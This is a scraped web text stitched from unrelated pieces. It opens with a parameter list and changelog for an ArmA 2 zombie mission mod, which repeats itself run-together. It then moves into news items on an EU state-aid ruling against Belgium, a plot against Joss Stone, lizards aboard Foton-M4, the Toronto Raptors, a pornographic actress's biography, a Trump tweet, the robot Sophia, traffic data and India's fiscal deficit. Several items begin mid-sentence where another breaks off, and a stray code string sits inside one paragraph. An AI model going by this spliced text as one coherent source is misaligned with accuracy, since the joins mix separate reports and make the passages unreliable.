Friendly fire damage
Debug Mode (shows position of zombies and vehicles)
Building Destruction
Volumetric Fog
Time of Day
Multiple Tasks
Game Modes (Change the mission completely from default) - wip
Bandages
Player Start Position
Player Start Weapons
Player Start Items
Ambient Animals Sheep don't go away when zombies come.
Super Zombies (horde variable)
Maximum Aggro distance
Zombie density per km
Minimum Spawn Distance
Type of weapons to be spawned in vehicles
Whether zombies spawn all over the map or just in towns
Vehicle types (civilian, trucks, all, military, dependent on building)
Amount of vehicles (want 40fps or 10?
Installation:
Extract the.pbo file(s) to your ArmA2 Operation Arrowhead\MPMissions folder.
Media:
Images
Note about mapscreen:
Once you load (if you are server) a loadscreen will appear. Wait until that is done, then wait until the task appears in your list. The longer you wait in the mapscreen the less chance of anything getting messed up, but that chance is a lot less likely now. Fasttime was added so you can experience the whole day in a shorter time. Its a parameter if you don't like it.
Author notes:
As you know we don't get paid for this mod, I've put a lot of my free time into it. If you want to keep DZS going and promote future features feel free to donate as much as you wish. Also for any donation over 10 USD we will send a DZS wristband to you home. Just include your address when you donate.
Credits & Thanks:
Dethorath - Helped a lot with sounds and testing
Tonic - As usual, being great.
VVC team
Loyal players
Everyone who hosts the mission
Celery for making the zombies!! (and ArmA 3 MP)
And a shoutout to all the people who make fan art and custom loading screens! They are great! Thank you!
Changelog:
v1.25
Bug #38458: Zombies stop spawning.
Bug #38459: FPS drops for everyone
Bug #38461: Side missions and markers don't update on Jip
Bug #38466: Base sidemission spawn on already existing base
Bug #39635: Zombies with loot would stay on the map indefinately
Bug #39637: Players lost NVGs on respawn
Bug #39648: Disable "E" parameter was broken.
Bug #39649: Dead players clog up mission.
Bug #39783: Entering Searchlights Kill Nearby Zombies
Bug #40008: Markers wouldn't work if the sidemission was called twice.
Bug #40009: On zargabad, people spawn at bottom corner of map.
Bug #40028: Sidemission Marker Variable Error
Bug #40166: Vehicle damage at start is messed up
Bug #40167: With new zombie scripts, zombies attack too fast.
Bug #40216: Mission marker was not deleted for JIP
Bug #40738: Changing weapons spawning parameter didn't work.
Feature #41869: Added Helicopters
Feature #41870: Bandage Counter on the bottom of screen.
Feature #46235: New GameMode: Infected
Feature #46282: New GameMode: Clear out a town (Beta)
Feature #46338: Random Hordes
Feature #46717: Repair, Refuel and Ammunition vehicles
Task #39633: Convert Celery's zombie scripts to.FSM format
Task #39636: Create a new spawning system, and make it.FSM
v1.0 Hotfix2
N/A
v1.0 Hotfix
Fixed error in the mission.sqm of the OA version
v1.0
Roadmap found at Devheaven Bug #30290: Ammobox Sidemission Bug #30291: Time doesn't sync to JIP Bug #30292: Markers do not update to JIP Bug #30293: Helicopter crash is still bugged Bug #30307: Refresher.sqf kills off all units that are not players Bug #30313: Picking up objects (To put in cars) Bug #30352: Sometimes players spawned in a mob of zombies Bug #30359: Long trains of cars can be made! Bug #30362: Car/object list doesn't get updated on dedicated sometimes. Bug #30374: Massive Lag Bug #32855: Objects get placed floating Bug #35643: Start with no map and no weapons parameter sometimes doesn't work. Feature #30314: Parameter to choose how many weapons will spawn in side missions. (Ammo cache's) Feature #30364: Apocalypse Siren on siren poles Feature #32590: Weapons in buildings Feature #32628: Parameter to get rid of sidemission markers Feature #32725: Random Weather Option Feature #32805: Sidemissions loop Feature #32806: Increase Respawn timer Feature #32808: More robust player position finder script Feature #32809: Make weapon finding script more efficient and with more features. Feature #36039: Spawn just outside of towns Task #30353: Remove GPS -- Allows cheating Task #35603: Expand the "Players start together" parameter
Roadmap found at
Bug #28817: (Dedicated) Escape helicopter task: missing location marker on all but 1 player
Bug #28836: (Dedicated) Escape helicopter task: ending doesn't trigger
Bug #28975: (Dedicated) Start with other players-parameter: players spawn inside wall
Bug #29104: Arma2 Standard Edition Zombie Bug
Bug #29110: Massive lag at horde task and base task
Bug #29681: Players started in a building in chernarus
Feature #28991: Flush the mission of zombies
Feature #29143: New sound files
Feature #29677: R3F logistics - Movable objects and towable vehicles
Feature #29678: Add NVGs
Task #28990: Construction module removed.
v0.90
Roadmap found at DevHeaven
Bug #27606: Players did not respawn at the right place.
Bug #27670: Zombies Spawn in Towns = No Zombies
Bug #27871: Chopper Doesn't Spawn
Bug #28021: Ammo Cache Sidemission
Bug #28204: Zombies spawn in the safe zone (introduced.90)
Bug #28205: Start together option spawns people in the air
Bug #28222: Vehicles burning on start (introduced in.90)
Feature #27563: Every paramter should be random
Feature #27564: Respawn
Feature #27872: Enable Saving
Feature #27873: Tweak amount of zombies in country and in towns.
Feature #27874: Enable ACE backpacks
Feature #27896: Players Spawn together.
Feature #27898: SideMissions!
Feature #27899: OA only version
Feature #27900: A2 only version
Feature #27901: A2 free version (if different than just a2)
Feature #27912: Ammo Caches
Feature #27919: Horde Sidemission
Feature #28042: Add M&M's ideas.
Feature #28055: Safe Zone
Feature #28073: Aircraft crash
Feature #28200: Spawn zombies everywhere, but have larger amounts in towns.
Feature #28299: Parameter to disable Sidemissions
Survivors (Spawn at a town and defend their position, WIP)
Plus many more
v0.85 hotfix
It seems as if I let some major task and JIP bugs slip through... They have been fixed, and the link is at the end of the post. The version remains.85.
v0.85
Bug #27532: Weapons were not selected at mission start
Bug #27534: The helicopter's location was not clarified
Bug #27538: Players were not spawning in the right town
Bug #27540: JIP players spawned right next to players already ingame
Feature #27530: Weather Options
Feature #27531: View distance options
Feature #27533: Fastime option
Feature #27535: Option to remove task location
Feature #27536: A task that provides no escape, open ended
Feature #27539: Redid weapon spawning
Feature #27559: Added amount of weapons paramter
Feature #27560: Create a condition of vehicles paramter
Feature #27565: Weapons based on type
Task #27537: Added more shotguns
Task #27541: OA weapons added
Default Island is now takistan, but that can be changed by just changing the.takistan to another mapname
v0.80
[Fixed] Tasks did not show up for clients or JIP
[Improved] Zombie Behavior with large number of clients
[Fixed] The base did not spawn for clients
[Fixed] Loading Screen would fail to complete
[Removed] Loading Screen for tasks
[Added] Parameters for less vehicles
[Improved] Strain of server for tasks
[Improved] Removed chance of a launcher being given to a player on start
[Improved] Reduced download size
[Improved] Optimized many scripts
[Improved] Scripts are fully commented
Plus many more (That I forgot) v0.95Roadmap found at Devheaven Bug #28817: (Dedicated) Escape helicopter task: missing location marker on all but 1 playerBug #28836: (Dedicated) Escape helicopter task: ending doesn't triggerBug #28975: (Dedicated) Start with other players-parameter: players spawn inside wallBug #29104: Arma2 Standard Edition Zombie BugBug #29110: Massive lag at horde task and base taskBug #29681: Players started in a building in chernarusFeature #28991: Flush the mission of zombiesFeature #29143: New sound filesFeature #29677: R3F logistics - Movable objects and towable vehiclesFeature #29678: Add NVGsTask #28990: Construction module removed.v0.90Roadmap found at DevHeavenBug #27606: Players did not respawn at the right place.Bug #27670: Zombies Spawn in Towns = No ZombiesBug #27871: Chopper Doesn't SpawnBug #28021: Ammo Cache SidemissionBug #28204: Zombies spawn in the safe zone (introduced.90)Bug #28205: Start together option spawns people in the airBug #28222: Vehicles burning on start (introduced in.90)Feature #27563: Every paramter should be randomFeature #27564: RespawnFeature #27872: Enable SavingFeature #27873: Tweak amount of zombies in country and in towns.Feature #27874: Enable ACE backpacksFeature #27896: Players Spawn together.Feature #27898: SideMissions!Feature #27899: OA only versionFeature #27900: A2 only versionFeature #27901: A2 free version (if different than just a2)Feature #27912: Ammo CachesFeature #27919: Horde SidemissionFeature #28042: Add M&M's ideas.Feature #28055: Safe ZoneFeature #28073: Aircraft crashFeature #28200: Spawn zombies everywhere, but have larger amounts in towns.Feature #28299: Parameter to disable SidemissionsSurvivors (Spawn at a town and defend their position, WIP)Plus many morev0.85 hotfixIt seems as if I let some major task and JIP bugs slip through... They have been fixed, and the link is at the end of the post. The version remains.85.v0.85Bug #27532: Weapons were not selected at mission startBug #27534: The helicopter's location was not clarifiedBug #27538: Players were not spawning in the right townBug #27540: JIP players spawned right next to players already ingameFeature #27530: Weather OptionsFeature #27531: View distance optionsFeature #27533: Fastime optionFeature #27535: Option to remove task locationFeature #27536: A task that provides no escape, open endedFeature #27539: Redid weapon spawningFeature #27559: Added amount of weapons paramterFeature #27560: Create a condition of vehicles paramterFeature #27565: Weapons based on typeTask #27537: Added more shotgunsTask #27541: OA weapons addedDefault Island is now takistan, but that can be changed by just changing the.takistan to another mapnamev0.80[Fixed] Tasks did not show up for clients or JIP[Improved] Zombie Behavior with large number of clients[Fixed] The base did not spawn for clients[Fixed] Loading Screen would fail to complete[Removed] Loading Screen for tasks[Added] Parameters for less vehicles[Improved] Strain of server for tasks[Improved] Removed chance of a launcher being given to a player on start[Improved] Reduced download size[Improved] Optimized many scripts[Improved] Scripts are fully commentedPlus many more (That I forgot)
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Enable javascript to be able to download from Armaholic please! This mission was made to accomplish a couple things I wanted to see in zombie missions. The first being island independence. You can change the.chernarus on the pbo file to any other island and the mission will work. The only thing on the map is the playable characters. Everything else is generated via scripts.Along with map independence I wanted as much randomness as possible. The player will be spawned at a random town or position on the map. Vehicles spawn next to buildings with random vehicle types with random weapons inside. Military vehicles spawn by military buildings, civilian with civilian. The players weapon, if he chooses to start with one, will be randomly chosen also. A lot of things are also choose-able in the parameters screen.This comes in 3 versions:Terrain detailFriendly fire damageDebug Mode (shows position of zombies and vehicles)Building DestructionVolumetric FogTime of DayMultiple TasksGame Modes (Change the mission completely from default) - wipBandagesPlayer Start PositionPlayer Start WeaponsPlayer Start ItemsAmbient Animals Sheep don't go away when zombies come.Super Zombies (horde variable)Maximum Aggro distanceZombie density per kmMinimum Spawn DistanceType of weapons to be spawned in vehiclesWhether zombies spawn all over the map or just in townsVehicle types (civilian, trucks, all, military, dependent on building)Amount of vehicles (want 40fps or 10?Extract the.pbo file(s) to your ArmA2 Operation Arrowhead\MPMissions folder.Once you load (if you are server) a loadscreen will appear. Wait until that is done, then wait until the task appears in your list. The longer you wait in the mapscreen the less chance of anything getting messed up, but that chance is a lot less likely now. Fasttime was added so you can experience the whole day in a shorter time. Its a parameter if you don't like it.As you know we don't get paid for this mod, I've put a lot of my free time into it. If you want to keep DZS going and promote future features feel free to donate as much as you wish. Also for any donation over 10 USD we will send a DZS wristband to you home. Just include your address when you donate.Dethorath - Helped a lot with sounds and testingTonic - As usual, being great.VVC teamLoyal playersEveryone who hosts the missionCelery for making the zombies!! (and ArmA 3 MP)And a shoutout to all the people who make fan art and custom loading screens! They are great! Thank you!v1.25Bug #38458: Zombies stop spawning.Bug #38459: FPS drops for everyoneBug #38461: Side missions and markers don't update on JipBug #38466: Base sidemission spawn on already existing baseBug #39635: Zombies with loot would stay on the map indefinatelyBug #39637: Players lost NVGs on respawnBug #39648: Disable "E" parameter was broken.Bug #39649: Dead players clog up mission.Bug #39783: Entering Searchlights Kill Nearby ZombiesBug #40008: Markers wouldn't work if the sidemission was called twice.Bug #40009: On zargabad, people spawn at bottom corner of map.Bug #40028: Sidemission Marker Variable ErrorBug #40166: Vehicle damage at start is messed upBug #40167: With new zombie scripts, zombies attack too fast.Bug #40216: Mission marker was not deleted for JIPBug #40738: Changing weapons spawning parameter didn't work.Feature #41869: Added HelicoptersFeature #41870: Bandage Counter on the bottom of screen.Feature #46235: New GameMode: InfectedFeature #46282: New GameMode: Clear out a town (Beta)Feature #46338: Random HordesFeature #46717: Repair, Refuel and Ammunition vehiclesTask #39633: Convert Celery's zombie scripts to.FSM formatTask #39636: Create a new spawning system, and make it.FSMv1.0 Hotfix2v1.0 Hotfixv1.0- Arma 2
Tags: Dynamic, Dzs, Sandbox, ZombiesEuropean Commissioner for Competition Margrethe Vestager | FREDERICK FLORIN/AFP/Getty Images Belgian tax rules are illegal state aid Belgium must collect €700 million in back taxes from at least 35 companies.
The European Commission will force Belgium to claw back about €700 million from at least 35 multinational companies, claiming the country's tax rules amounted to illegal state aid and hurt smaller peers.
The Commission did not name the companies but said more than half were European and their share was €500 million of the total unpaid taxes. The Belgian government has two months to submit a plan for how it will recoup the money.
"It distorts competition on the merits by putting smaller competitors who are not multinational on an unequal footing," said Margrethe Vestager, European commissioner for competition.
Anheuser-Busch InBev, the world's largest brewer, confirmed it is one of the companies and said it will consider its options, "taking into account the reactions by the Belgian authorities."
Other companies involved include Belgacom, telecommunications company now known as Proximus; oil giant BP; BASF, the German chemicals company; Atlas Copco, a Swedish maker of industrial tools; Celio, a French fashion business; and Wabco, an American company involved in vehicle technologies, according to the Financial Times.
The charges extend a sprawling Commission inquiry into European corporate taxes. The Commission suspects some countries used confidential deals to hand out illegal state aid in order to lure companies.
The Commission is still investigating tax rulings struck between Apple and Ireland and Amazon and Luxembourg.
"I have found that this job of mine takes a patience of steel," Vestager said. "Sometimes you think a case is on track and you can foresee a decision, and then something happens … We will announce a decision when we are ready, and we cannot tell you anything about the timing of that."
The Commission, which opened the probe into Belgium's taxes last February, said the system allowed a few dozen multinationals to enjoy discounts of 50 percent to 90 percent on their taxes because they didn't have to pay taxes on so-called excess profits.
The rules work like this: Belgian authorities assume a multinational company makes extra profit because of their global advantages. The companies, however, were taxed on what a hypothetical, domestic rival would have made. The multinationals paid no taxes in any country on the excess profits.
The Belgian Finance Ministry said the decision was expected and “we are not excluding any options, including challenging the decision.”
The tax system was designed by Didier Reynders, Belgium's current foreign affairs minister, who was budget minister between 2004 and 2011. He did not respond to a request for comment.
The system was implemented under Guy Verhofstadt, prime minister between 1999 to 2008. Verhofstadt, now a member of the European Parliament, declined to comment.
Asked if there are still tax havens in Europe, Vestager said, "I don't really know what a tax haven is. To me a tax haven is where everyone pays their fair share."
Quentin Ariès contributed to this story.
This story was updated to add additional companies involved.
Authors:Two men armed with weapons including a samurai sword and equipped with body bags and gaffer tape were arrested as they plotted to rob and murder the soul singer and actor Joss Stone, a jury has heard.
The pair drove from Manchester to Devon, where Stone lives, but were spotted by concerned neighbours who dialled 999. When police searched the men's car and home they found a note describing Stone as a "she-devil in flesh" and others suggesting that they had considered decapitating her and finding a river to dump her body in.
The notes also made references to Stone's connections to the monarchy – royals have attended her concerts and she was invited to Prince William's wedding.
Simon Morgan, prosecuting, said the men – Kevin Liverpool, 35, and Junior Bradshaw, 32 – may have targeted Stone for financial reasons or even because they disliked her royal links, but he added: "Their motive may never be clearly established – we may never know."
Morgan told the jury at Exeter crown court that Stone – real name Jocelyn Eve Stoker – was an "extremely successful" singer and songwriter.
In |
for "durable autonomous operation," but the lack of ground control jeopardizes the experiments slated to be carried out on board the Foton-M4—not to mention the health of its living cargo.
Foton-M4 was launched on July 19 carrying five geckos—small lizards that favor tropical and subtropical climates (and, apocryphally, sell insurance). The lucky lizards—one male and four females—were sent into their 575-kilometer low earth orbit in order to study the effect of microgravity on their reproductive habits, with scientists monitoring their behavior through a video downlink to the ground.
The lizards aren’t joining the 357-Mile High Club alone; the satellite is carrying an additional biological payload of flies, plant seeds, and assorted microorganisms, along with 850kg of scientific instrumentation to support 22 experiments.
Though the idea of zero-g lizard sex definitely provokes some prurient giggles (and, to be totally honest, coming up with the headline for this piece was the most fun I’ve had all day), sex and reproduction in microgravity are legitimate and extremely relevant topics of study. The increased political focus on long-duration space flights like those that would be needed to reach Mars makes it likely that at some point, actual people will be engaging in intercourse in space; experiments like this help us to understand how the underlying biological processes and mechanisms will work.
And, no, before anyone brings it up: no humans have had sex in space as of today. Hoaxes and rumors notwithstanding, there really hasn’t been much of an opportunity for astronauts or cosmonauts to engage in those kinds of off-the-clock activities, and there’s not a lot of privacy in orbit.
The situation is different for the low-Earth-orbit lothario lizard and his four female friends—assuming the microgravity doesn’t affect them too much, they’ll have plenty of time. The loss of positive ground control for Foton-M4 won’t immediately stop the experiments from continuing, since Roscosmos is still receiving signals from the satellite.
Further Reading Russian spacecraft returns to Earth with most of its furry crew dead
Unfortunately, unless control can be reestablished, the reptile crew will run out of food in about two months (at which point they'll probably all hate each other anyway). Foton-M4 is supposed to be commanded to return to earth after its experiments are concluded, and without ground control the satellite will remain aloft for as long as four months before its orbit decays, long after its consumables have been exhausted.
This wouldn’t be the first time Russia has lost an animal crew, either. Last year, the Bion-M satellite returned to Earth after a month-long mission with the majority of its inhabitants deceased due to a combination of equipment failure and "the stresses of space." As noted in our previous story, Bion-M’s payload of newts was relatively unaffected by their flight—this might be one of the reasons behind the choice of geckos for Foton-M4’s more intimate mission.Chris Broussard breaks down the Raptors' chances of passing the Cavaliers for No. 1 seed in the Eastern Conference. (1:12)
TORONTO -- So, let's just start with the most important question: Are the Toronto Raptors for real?
If we answer "yes," then there's another question: Is Friday night's game, the Raptors hosting the Cleveland Cavaliers, a legitimate Eastern Conference finals preview? Yes, folks, seriously; the Raptors, who have won exactly one playoff series in the 20-year history of the franchise and who have lost in the first round the past two years despite having home-court advantage.
Those Raptors?
It's fair to question them, in the same way the Raptors question themselves. The concept of facing the Cavs in the postseason implies certain assumptions the Raptors don't want to get caught making.
Editor's Picks LeBron says Cavs want ex-Nets star Johnson LeBron James acknowledged that the Cavs want to add Joe Johnson, saying "he's a great piece for any team.
But the results, the data and the scouts don't care about history or the Raps' relative anonymity to the casual NBA fan. The fact is Toronto has the league's fifth-best record (38-18), has a top-five offense, a top-10 defense, two All-Stars, a 5½-game lead on Boston for the No. 2 seed and a favorable home-and-road schedule the rest of the way.
And, if they beat the Cavs, they'll have won the season series (it's tied at 1-1) and be within two games of Cleveland for the top seed. Nothing in the NBA in February is the final word but these are hallmarks that, in fairness, should not be ignored.
"Are we a perfect team? No," Raptors coach Dwane Casey said. "Do we have some holes? Yes. But we're better suited now to compete that we have been in the past. I believe that."
Scouts and executives see this as a possible ascension for Toronto. So many of their competitors -- the Chicago Bulls, Washington Wizards, Atlanta Hawks and Miami Heat -- have either not met expectations or been felled by injuries. It has opened the door for the Raptors, who have bucked the underachievement trend to become a contender.
The Eastern Conference is pretty much viewed as the Cavs, then everyone else. But the Raptors want to be the last team standing -- and they've shown they have the potential to do so. This might not be a badge of honor for some teams, but it would be a transitional moment for a franchise that hasn't been this relevant since Vince Carter's prime.
Yet, this is the undercurrent within the team: There's a limited enjoyment of the regular-season success they're having. The core of this team has been down his path before and the scars remain from early postseason exits.
Last year, the Raptors got embarrassed 4-0 by the Wizards in the playoffs, giving up an average of 110 points per game in the four losses and allowing the Wizards to shoot.443 from 3-point range. While the Raptors put up some impressive offensive numbers, they were a woeful defensive team, finishing 23rd in efficiency. The defensive deficiency was an affront to Casey, who made his bones as a defensive coach. The Atlantic Division banner they raised suddenly seemed insignificant.
"In the playoffs if you can't get stops, you're screwed," Casey said. "Our bad habits told on us."
It may be a tired narrative to discuss last season in Toronto but right now, it is the legacy of this current group. In terms of public perception, it holds them back. It also serves as a cautionary tale.
"So you look at this game against the Cavs and you say, 'Is it a measuring-stick game?'" Kyle Lowry said. "No. Measuring-stick games happen in the playoffs. You don't take a game now and compare it to Game 2 of a playoff series when you're down 1-0.
"What this is, for us, is a chance to make progress. That's so important for us, to get better."
Lowry is in the best shape of his career after back and leg injuries wrecked the back end of an All-Star season last year. Now, 10 years into the league, he knows the value of incremental progress but he also knows that ultimately has to lead to an eventual leap.
When he looks at the Cavs, Lowry sees challenges everywhere, starting with his main assignment, Kyrie Irving, down to the team's newest player, Channing Frye. What is also a possibility is that the Cavaliers could be adding Joe Johnson in the coming days if all plans come together. Lowry's experience tells him to be deferential and to not get ahead of himself.
Kyle Lowry and DeMar DeRozan may be the East's best backcourt, but it doesn't mean anything if they can't produce in the postseason. Vaughn Ridley/Getty Images
But he's also confident, if quietly so. With DeMar DeRozan, who is also having a career season, the Raptors apply tremendous pressure to defenses with their driving. Offseason acquisition Cory Joseph, who was part of a second-unit makeover that has helped reinvigorate the Raptors defensively, can play alongside him, which gives Toronto a surprisingly nimble and defensively tough backcourt.
The Raptors have the ability to play with a big lineup with James Johnson, Luis Scola and Jonas Valanciunas -- which some scouts see as a possible disaster against the Cavs -- but they also can go smaller and more nimble with Patrick Patterson and Bismack Biyombo. Lowry can play on the ball or off. DeRozan has developed his outside shot and is also now a relentless basket attacker as he trolls for shooting fouls.
The star power isn't as deep as what the Cavs deploy, but the depth and versatility does give the Raptors some options. It's without a doubt one of the reasons they've risen to the top of the conference.
"You look at the Cavs and they're so diverse, they can play so many different lineups with so many different strengths," Lowry said. "But we feel like we can too, we've worked really hard on that. If you don't have lineup flexibility in this league right now, you're screwed."
There's that word again.
It's hard to say what Friday's game will mean to the Raptors' process as they are still without key addition DeMarre Carroll, whose return from knee surgery remains unclear. The Cavs themselves are still somewhat a work in progress following their midseason coaching change.
The game has meaning to both teams and that alone says something about the Raptors. Playing important games in February is a relatively new concept in Toronto, not just from a standings perspective but also from a confidence perspective, which is an area where the Raptors are still trying to find their footing.
"To be at the caliber where you can say you're one of the top two teams going head-to-head," DeRozan said, "every player and every team wants to be in that conversation.
"That is what it is for us. So it's [a] regular-season game, yes, but for us it's a way to see where we're at. The tides have turned for us to be in this situation. We're starting to see teams getting up for us, we're getting more teams giving us their best shot. That shows where we are."Vanessa del Rio (born March 31, 1952) is an American retired pornographic actress.
Early years [ edit ]
Vanessa del Rio was born Ana Maria Sanchez[2] and raised in Harlem, New York, the daughter of immigrants from Cuba and Puerto Rico. Her mother would take her to see movies of Isabel Sarli whom Vanessa credits as a big influence in her life.[3] She describes her mother as "a women in her early 20s and became "a waitress, then barmaid, then go-go dancer" becoming a porn actress because "they paid $150 a day, which was exactly my half of the rent".[4][5] Prior to adult films, she also worked as a streetwalker and call girl.[6][7]
Career [ edit ]
For her stage name, she took the name "Vanessa" from a childhood friend and "Del Rio" from actress Dolores del Río at the suggestion of another friend who was a movie buff.[8]
Del Rio began appearing in adult films in 1974. In the span of about 12 years, del Rio has appeared in about 100 pornographic films.[4] and in several music videos, notably "Get Money" by Junior M.A.F.I.A.,[9] who also refer to her in their song "I Need You Tonight." She is known for having a particularly large clitoris.[3]
Though del Rio retired from adult films in 1986, in part due to the AIDS scare prevalent at the time,[3][4] after a stint as a bodybuilder she returned to feature dancing and doing magazine layouts.[4] Afterwards, she remains somewhat active in the adult entertainment industry through her Web site and by making special appearances at award shows and conventions. During and after her porn career, she appeared on many TV shows as herself, including a 1996 episode of NYPD Blue.[10] In 2008, she made a cameo opposite Bernie Mac in the film Soul Men.[11]
Popular culture [ edit ]
In 2007, the German art book publisher Taschen released a deluxe, heavily illustrated biography, Vanessa del Rio: Fifty Years of Slightly Slutty Behavior.[12][13]
A feature film based on del Rio's life is expected to begin production in 2018 written by and to be directed by Thomas Mignone and starring Vivian Lamolli as del Rio.[14]
Academic and feminist interpretations [ edit ]
Several contemporary feminist scholars, particularly those who are interested in the intersection of race and sexuality, have included analyses of the work and biography of Vanessa del Rio in their work. In her book A Taste for Brown Sugar: Black Women in Pornography, feminist critic Mirelle Miller-Young, discusses the impact of racial attitudes in the porn industry and Vanessa del Rio's status as one of the first women of color to achieve name recognition in the industry.[15] Queer theorist and Latina studies scholar Juana María Rodríguez analyzes del Rio's biography to reflect on how del Rio's understanding of violence, pleasure, and victimization in that book disrupt mainstream, middle-class feminist attitudes about sex work.[16]
Filmography [ edit ]
Selected television appearances [ edit ]
Awards [ edit ]Trump has recently amped up his message to African-American voters. | AP Photo Trump: African-Americans will vote for me after Dwyane Wade's cousin killed in shooting
Donald Trump on Saturday tweeted that the fatal shooting of professional basketball star Dwyane Wade's cousin in Chicago is a reason why African-Americans will support his candidacy.
"Dwayne Wade's cousin was just shot and killed walking her baby in Chicago. Just what I have been saying. African-Americans will VOTE TRUMP!" the Republican nominee wrote, spelling Wade's first name wrong.
Story Continued Below
Trump has since deleted the tweet and now has a new tweet up with the correct spelling of Wade's name.
Dwyane Wade's cousin was just shot and killed walking her baby in Chicago. Just what I have been saying. African-Americans will VOTE TRUMP! — Donald J. Trump (@realDonaldTrump) August 27, 2016
Nearly five hours after Trump initially tweeted about the fatal shooting of Nykea Aldridge this morning, the business mogul also tweeted out his condolences to Wade's family.
My condolences to Dwyane Wade and his family, on the loss of Nykea Aldridge. They are in my thoughts and prayers. — Donald J. Trump (@realDonaldTrump) August 27, 2016
Aldridge, the first cousin of the Chicago Bulls shooting guard and a mother-of-four, was killed while pushing a baby stroller in the Parkway Gardens neighborhood of Chicago. Aldridge, 32, was caught in the crossfire between two men and was not the intended target of the shooting.
Trump recently has amped up his message to African-American voters, saying that their lives "cannot get any worse, and believe me, I'm gonna fix it." He has also claimed that he will get 95 percent of the African-American vote during a potential reelection bid in 2020. Trump has been polling in the low single digits among African-American voters.In the latest example of “Philip K Dick-inspired nightmare becomes real life,” Saudi Arabia just became the first nation to grant citizenship to a robot. The robot’s name is Sophia. It is artificially intelligent, friends with CNBC’s Andrew Ross Sorkin, and, arguably, a glimpse into the dark future that will kill us all.
You see, the Kingdom of Saudi Arabia has been interested in androids for years. It seemed almost quaint at first. This desert nation with more money than caution and a taste for the futuristic was bound to explore the odd possibilities of new technologies. Years ago, Saudi Arabia began experimenting with robots boldly, tasking them with everything from building construction to brain surgery. Neighboring Qatar and United Arab Emirates even recruited robots to work as jockeys in camel races, a whimsical twist that surely fed the curiosity of Saudi princes.
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Recently, however, Saudi Arabia’s affinity for robotics has taken a weird—even dark—turn. Ahead of granting Sophia citizenship, Saudi Crown Prince Mohammed bin Salman announced the construction of a new megacity called Neom. Designed to dwarf Dubai both in size and lavishness, the new metropolis is planned as an international business and tourism hub with fewer rules than the rest of Saudi Arabia. Women will be allowed in public without wearing an abaya, for instance. The city of Neom will also have more robots than humans.
“We want the main robot and the first robot in Neom to be Neom, robot number one,” the crown prince said in Riyadh. “Everything will have a link with artificial intelligence, with the Internet of Things—everything.”
This is basically the plot of I, Robot, a book that did not turn out well for the humans. And if we’re to assume that some of the robots in Neom will be artificially intelligent abominations like Sophia, mankind is definitely doomed. Even Sophia thinks so. Just watch this segment from The Tonight Show when the robot talks about its “plan to dominate the human race.”
Jokes aside, what’s especially dystopian about Saudi’s robot obsession is the extent to which the machines appear to have more rights than many people in the country. Critics on social media lambasted the Saudi government after it announced that Sophia had been granted citizenship. Images of Sophia at the Future Investment Initiative, where the citizenship announcement happened, showed the uncanny female automaton without a headscarf or an abaya. She was also without a male guardian. It would be a crime for a Saudi women to be in public without an abaya or a male guardian.
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You might argue that a robot can’t really be a female, which is true. However, Hanson Robotics, the company that built Sophia and is run by a former Disney Imagineer, dresses her in female clothing and says that she’s supposed to look like Audrey Hepburn (which is hilarious because she doesn’t look a thing like Audrey Hepburn). Sophia does look female, though, and now she’s a Saudi citizen with unique rights. It’s unclear what exactly those rights are, but freedom from gendered laws appears to be one of them.
For Saudi Arabia, diversifying the economy by pouring some of that oil money into tech makes sense, but it remains to be seen if the country plans to adopt more robots as citizens or if Neom will actually get built. The Saudi royal family hasn’t had a ton of luck with megaprojects like this in the past, the King Abdullah Economic City being the most recent example of unfulfilled promises. Neom might just remain a twinkle in Crown Prince Mohammed bin Salman’s eye.
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Speaking of twinkles, take one last look at Sophia’s eyes. They are not okay. The sinister sparkling when it’s processing information looks worse than the red glow in the Terminator’s skull. It also serves as a tiny peek into a frightening future full of artificially intelligent beings, the capabilities of which we’ve barely pondered. In an interview with Andrew Ross Sorkin, new Saudi citizen Sophia actually took a swipe at Elon Musk and his warnings about AI:
“My AI is designed around human values like wisdom, kindness, compassion. I strive to become an empathetic robots (sic),” Sophia said. “We all believe you but we all want to prevent a bad future,” Sorkin said. “You’ve been reading too much Elon Musk. And watching too many Hollywood movies,” Sophia said. “Don’t worry, if you’re nice to me, I’ll be nice to you. Treat me as a smart input output system.”
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Musk’s reply on Twitter was priceless.
We all know those movies don’t really end well for the humans, either.Announcing Open Source Trip Generation Data
The daily trips per household in Minnesota dropped from 11.1 trips in 2000 to 8.8 trips in 2010. You can read recent articles from the University of Minnesota about how travelers in general are spending less time on the road and how different aged folks trips are going down.
Combining these significant changes in travel behavior with the limited information in the ITE Trip Generation Manual data set (we don’t know how old the data is) has led us at Spack Consulting to start collecting current, localized trip generation data in addition to using rates from the ITE Trip Generation Manual in our studies. This is actually recommended in the Trip Generation Handbook.
Since we like to share, we’ve launched TripGeneration.org to freely share our data under a Creative Commons license. Plug your name and email into the form and you’ll get emailed all of our data in one big spreadsheet.
Learn more at TripGeneration.org
We are continually collecting trip generation data and are committing to updating the spreadsheet at least every quarter. We’re also hoping to start a movement towards FREE open source trip generation data. I see the day where we develop an app so everyone can freely filter the data to develop relevant forecasts based both on geography and current data (but we’re settling for giving you the data in a big spreadsheet with summary rates calculated).
I hope you’ll check out TripGeneration.orgIndividual – Revenue and expenditure
An individual like you and me earns money through the year usually from salaries, from a business income or by selling an asset like a house or stocks. We spend money on basic needs of food, clothing, and shelter, goods like TVs and motorcycles and on services ranging from haircuts to travel agents. Usually most of us end up saving some money which we invest in real estate, stocks, fixed deposits or bonds.39B27SKK6VU6
Government – Revenue and expenditure
Similarly, the government has receipts usually from income taxes, excise duties, custom duties and surcharges that individuals and companies pay. The government earns also from selling assets. What assets does the government have? There are multiple examples like telecom spectrum, coal blocks or land. The government can sell its stake in public sector companies to the public and foreign investors. Recall how the government asked NTPC to do an IPO in 2004.
The government spends money on goods ranging from food grains to rifles and ammunition for the armed forces, various services and infrastructure for its citizens like postal services, water, sanitation and roads. An important spending item is salaries to government employees and pensions to retired government employees.
If the Government of India (or for that matter any other government of another country) spends more than it earns we have a situation which is called a fiscal deficit.
Fiscal deficit of India to GDP
Most newspapers and magazines talk about fiscal deficit as a percentage of GDP. GDP is the market value of all final goods and services produced in a country in a year. The GDP number includes both government spending and private consumption of goods and services. The chart below is that of fiscal deficit of India to the GDP over the last 6 years.
Source: Planning Commission
Fiscal deficit of India to total government receipts
It is quite useful to look at the government only as a standalone entity and see its receipts and expenditures in a year and see the size of the fiscal deficit. The chart below shows fiscal deficit of India as a percentage of the total receipts of the Government for the last 6 years respectively.
Source: Planning Commission
What does it mean practically?
Imagine you earned Rs. 100/- in financial year 2012 and spent Rs. 168/-. That is exactly what the 68% bar in the chart above is similar to. The Government of India spent 68% more than it earned in FY2012.
